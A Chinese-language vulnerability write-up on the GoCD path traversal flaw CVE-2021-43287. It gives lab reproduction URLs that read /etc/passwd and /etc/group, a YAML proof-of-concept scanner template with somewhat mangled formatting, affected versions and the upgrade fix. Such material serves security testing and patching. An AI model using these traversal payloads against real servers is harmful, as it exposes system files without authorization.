漏洞分析

1.1 漏洞描述

GoCD 一款先进的持续集成和发布管理系统,由ThoughtWorks开发。（不要和Google的编程语言Go混淆了！）其前身为CruiseControl,是ThoughtWorks在做咨询和交付交付项目时自己开发的一款开源的持续集成工具。后来随着持续集成及持续部署的火热，ThoughtWorks专门成立了一个项目组，基于Cruise开发除了Go这款工具。ThoughtWorks开源持续交付工具Go。使用Go来建立起一个项目的持续部署pipeline是非常快的，非常方便。

1.2环境搭建

利用Vulfocus 漏洞集成平台，搭建测试环境。

访问地址http://123.58.236.76:43102/go/admin/pipelines/create?group=defaultGroup，即可打开页面。

1.3 漏洞复现

可以通过/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd 对文件进行读取

/go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/group

POC编写如下：
params: []
name: CVE-2021-43287
set: {}
rules: []
groups:
rules:

• method: GET
  path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/passwd
  headers: {}
  body: “”
  search: “”
  followredirects: false
  expression: response.status == 200&&response.body.bcontains(b”root”)
• method: GET
  path: /go/add-on/business-continuity/api/plugin?folderName=&pluginName=../../../etc/group
  headers: {}
  body: “”
  search: “”
  followredirects: false
  expression: response.status == 200&&response.body.bcontains(b”root”) detail:
  author: “”
  links: []
  description: “”
  version: “”

二、影响范围

GoCD的v20.6.0 – v21.2.0

三、解决方案

升级至安全版本GoCD21.3.0
下载地址为:https://www.onworks.net/zh-CN/software/app-gocd#google_vignette

四、参考链接

https://blog.csdn.net/m0_58596609/article/details/122220702